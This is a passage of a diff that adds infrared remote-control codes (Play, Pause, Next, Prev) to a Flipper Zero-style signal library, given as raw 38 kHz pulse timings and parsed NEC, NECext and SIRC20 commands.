514 1485 547 463 542 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4552 4464 586 420 584 420 584 420 612 392 529 1478 531 1478 531 476 553 451 553 1455 554 1479 528 1480 528 1481 527 478 526 478 526 478 526 478 526 4497 526 478 526 478 526 478 526 478 526 478 526 1483 526 478 526 1483 526 478 526 478 526 478 526 1483 526 1483 526 478 526 1483 526 479 525 1483 526 1483 526 1483 526 478 526 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4548 4471 540 471 541 468 544 467 545 465 516 1482 512 1488 537 473 539 472 519 1479 514 1484 520 1479 515 1485 539 470 542 468 544 466 546 464 517 4493 538 472 540 470 542 468 544 466 546 464 517 1482 543 468 513 544 471 469 574 436 514 1485 519 1480 545 465 547 1452 573 438 543 1456 548 1451 543 1456 569 442 570 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4549 4471 546 464 541 469 547 463 542 469 515 1484 516 1483 549 461 544 466 518 1481 519 1480 520 1479 521 1477 544 466 550 461 544 467 549 461 523 4486 541 469 546 464 541 469 547 464 541 469 515 1483 549 462 522 1477 544 465 540 471 545 465 572 1428 520 1479 542 468 569 1430 549 462 522 1476 514 1486 514 1485 547 463 542 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4552 4464 586 420 584 420 584 420 612 392 529 1478 531 1478 531 476 553 451 553 1455 554 1479 528 1480 528 1481 527 478 526 478 526 478 526 478 526 4497 526 478 526 478 526 478 526 478 526 478 526 1483 526 478 526 1483 526 478 526 478 526 478 526 1483 526 1483 526 478 526 1483 526 479 525 1483 526 1483 526 1483 526 478 526 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4548 4471 540 471 541 468 544 467 545 465 516 1482 512 1488 537 473 539 472 519 1479 514 1484 520 1479 515 1485 539 470 542 468 544 466 546 464 517 4493 538 472 540 470 542 468 544 466 546 464 517 1482 543 468 513 544 471 469 574 436 514 1485 519 1480 545 465 547 1452 573 438 543 1456 548 1451 543 1456 569 442 570 +# +name: Next +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 34 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 41 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 41 00 00 00 +# name: Play type: parsed protocol: NECext @@ -3138,3 +3391,135 @@ type: parsed protocol: NECext address: 2D D3 00 00 command: 06 F9 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1041 1461 540 457 543 453 537 459 541 1459 541 1459 542 1459 541 1459 542 1458 542 1458 543 1458 542 1458 542 453 537 459 541 455 545 451 539 450 540 50518 1041 1461 540 457 543 452 538 459 541 1459 541 1459 542 1459 541 1458 543 1458 542 1458 542 1458 542 1457 544 453 537 459 541 455 545 451 539 449 541 50534 1036 1467 544 452 538 458 542 454 546 1455 545 1454 546 1454 536 1464 537 1464 536 1463 537 1463 537 1463 537 459 541 454 546 450 540 457 543 445 545 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1041 1461 540 457 543 453 537 459 541 1459 541 1459 542 1459 541 1459 542 1458 542 1458 543 1458 542 1458 542 453 537 459 541 455 545 451 539 450 540 50518 1041 1461 540 457 543 452 538 459 541 1459 541 1459 542 1459 541 1458 543 1458 542 1458 542 1458 542 1457 544 453 537 459 541 455 545 451 539 449 541 50534 1036 1467 544 452 538 458 542 454 546 1455 545 1454 546 1454 536 1464 537 1464 536 1463 537 1463 537 1463 537 459 541 454 546 450 540 457 543 445 545 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1044 1460 540 456 544 1457 543 1457 543 453 536 1465 545 450 539 457 543 1458 542 1458 542 454 546 451 539 1462 538 458 542 1459 541 1460 540 448 542 50525 1042 1462 538 458 542 1458 542 1459 541 455 545 1456 544 452 537 459 541 1460 540 1460 540 456 544 452 537 1464 536 460 540 1461 539 1461 539 449 540 50542 1046 1458 542 480 520 1455 545 1455 545 477 512 1463 547 474 515 481 519 1456 544 1457 543 478 522 475 514 1460 540 482 518 1457 543 1458 542 445 544 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1046 1457 543 1458 542 454 546 450 539 1461 539 456 544 1458 542 1458 542 454 546 451 539 1461 539 1462 538 458 542 1459 541 454 546 451 539 1454 546 50538 1043 1461 539 1461 539 456 544 453 547 1454 546 449 541 1461 539 1462 538 457 543 453 547 1455 545 1455 545 451 539 1462 538 458 542 454 546 1447 543 50526 1044 1459 541 1459 541 455 545 451 539 1463 537 458 542 1459 541 1460 540 455 545 452 538 1463 537 1464 536 460 540 1461 539 456 544 453 536 1456 544 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1013 1488 512 486 514 486 514 1485 515 484 516 484 516 1483 517 1482 518 1481 509 1490 510 1488 512 488 512 1487 513 1485 515 484 516 483 517 481 519 50939 1010 1489 511 488 512 488 512 1486 514 486 514 486 514 1485 515 1483 517 1482 518 1481 509 1489 511 489 511 1487 513 1485 515 484 516 484 516 482 518 50958 1013 1488 512 487 513 487 513 1485 515 485 515 485 515 1484 516 1483 517 1482 518 1481 509 1490 510 490 572 1426 512 1487 513 486 514 486 514 485 566 50908 1011 1490 510 489 511 489 511 1487 513 486 514 487 513 1485 515 1484 516 1483 517 1482 518 1480 510 491 571 1427 511 1488 512 488 512 487 513 486 565 50905 1013 1488 512 488 512 488 512 1486 514 486 514 486 514 1485 515 1484 516 1483 517 1481 509 1489 511 489 511 1488 512 1486 514 485 515 485 515 484 516 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1013 1488 512 486 514 486 514 1485 515 484 516 484 516 1483 517 1482 518 1481 509 1490 510 1488 512 488 512 1487 513 1485 515 484 516 483 517 481 519 50939 1010 1489 511 488 512 488 512 1486 514 486 514 486 514 1485 515 1483 517 1482 518 1481 509 1489 511 489 511 1487 513 1485 515 484 516 484 516 482 518 50958 1013 1488 512 487 513 487 513 1485 515 485 515 485 515 1484 516 1483 517 1482 518 1481 509 1490 510 490 572 1426 512 1487 513 486 514 486 514 485 566 50908 1011 1490 510 489 511 489 511 1487 513 486 514 487 513 1485 515 1484 516 1483 517 1482 518 1480 510 491 571 1427 511 1488 512 488 512 487 513 486 565 50905 1013 1488 512 488 512 488 512 1486 514 486 514 486 514 1485 515 1484 516 1483 517 1481 509 1489 511 489 511 1488 512 1486 514 485 515 485 515 484 516 +# +name: Next +type: parsed +protocol: NEC +address: 77 00 00 00 +command: F7 00 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 08 F7 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 5E A1 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 5E A1 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 3F 5C 00 00 +command: 16 E9 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 3F 5C 00 00 +command: 17 E8 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 02 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 05 00 00 00 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3303 1908 408 1179 410 1177 412 442 409 444 407 446 405 448 414 1173 405 448 414 1173 416 1172 406 447 415 439 412 1175 414 440 411 1175 414 440 411 1175 414 440 411 442 409 444 407 447 415 438 413 440 411 442 409 444 407 446 405 1182 407 447 415 438 413 440 411 442 409 444 407 1180 409 1178 411 443 408 445 406 1180 409 445 406 447 415 438 413 440 411 442 409 444 407 1180 409 444 407 446 405 448 414 440 411 41789 3301 3346 362 42926 3307 3341 357 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3301 1910 406 1155 434 1180 409 419 432 421 441 439 412 441 410 1178 411 416 435 1152 437 1177 412 442 409 417 434 1180 409 418 433 1180 409 445 406 1155 434 419 432 447 415 413 438 442 409 444 407 419 432 448 414 439 412 442 409 1177 412 442 409 444 407 420 431 448 414 413 438 1176 413 1174 415 413 438 1175 414 1173 405 422 440 440 411 416 435 418 433 447 415 439 412 441 410 1177 412 415 436 417 434 446 405 41164 3301 3321 387 42935 3307 3316 381 42941 3311 3312 385 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3309 1901 415 1173 405 1182 407 420 442 412 439 441 410 443 408 1179 410 444 407 1180 409 1179 410 444 407 420 431 1183 406 447 415 1147 442 412 439 1148 441 439 412 441 410 443 408 446 405 448 414 440 411 415 436 444 407 446 405 1182 407 447 415 412 439 440 411 443 408 418 433 1181 408 1180 409 418 433 447 415 439 412 441 410 443 408 445 406 1181 408 1180 409 1178 411 417 434 445 406 421 441 439 412 415 436 41161 3303 3320 388 42939 3301 3347 361 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3309 1901 415 1173 405 1182 407 420 442 412 439 441 410 443 408 1179 410 444 407 1180 409 1179 410 444 407 420 431 1183 406 447 415 1147 442 412 439 1148 441 439 412 441 410 443 408 446 405 448 414 440 411 415 436 444 407 446 405 1182 407 447 415 412 439 440 411 443 408 418 433 1181 408 1180 409 418 433 447 415 439 412 441 410 443 408 445 406 1181 408 1180 409 1178 411 417 434 445 406 421 441 439 412 415 436 41161 3303 3320 388 42939 3301 3347 361 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9175 4433 644 1605 645 442 669 466 646 445 666 438 673 466 645 440 671 466 673 410 700 365 720 465 675 367 742 367 744 438 645 1604 675 1574 674 1549 702 1575 673 1576 646 1604 675 1574 676 1574 675 1576 644 1604 645 1606 672 1576 645 466 645 466 645 465 646 1575 675 1605 645 466 645 467 644 467 644 1605 644 1605 645 1606 644 467 644 467 644 1606 643 1578 672 1607 643 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9146 4435 642 1577 673 449 662 454 658 451 661 469 642 468 644 469 642 453 659 470 642 470 642 469 643 469 642 469 642 469 642 1608 642 1606 643 1607 642 1607 642 1607 642 1577 673 1607 643 1607 642 1607 642 1607 642 1606 643 1576 674 1606 643 468 643 439 672 1607 642 1607 642 448 663 469 642 439 672 469 642 1577 672 1607 642 468 643 469 642 1607 642 1608 641 1608 640 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9144 4405 671 1607 642 469 642 469 642 469 642 470 641 365 747 469 641 443 669 469 642 468 643 446 665 469 642 469 642 470 642 1580 669 1607 643 1607 642 1608 641 1578 672 1580 670 1608 641 1608 641 1609 590 1660 590 1635 615 1660 590 1660 590 1632 618 1633 617 521 590 1660 590 521 590 521 618 493 590 521 590 520 591 519 592 1657 592 519 592 1658 617 1633 616 1633 615 23844 9114 4461 615 +# +name: Next +type: parsed +protocol: NEC +address: FD 00 00 00 +command: EA 00 00 00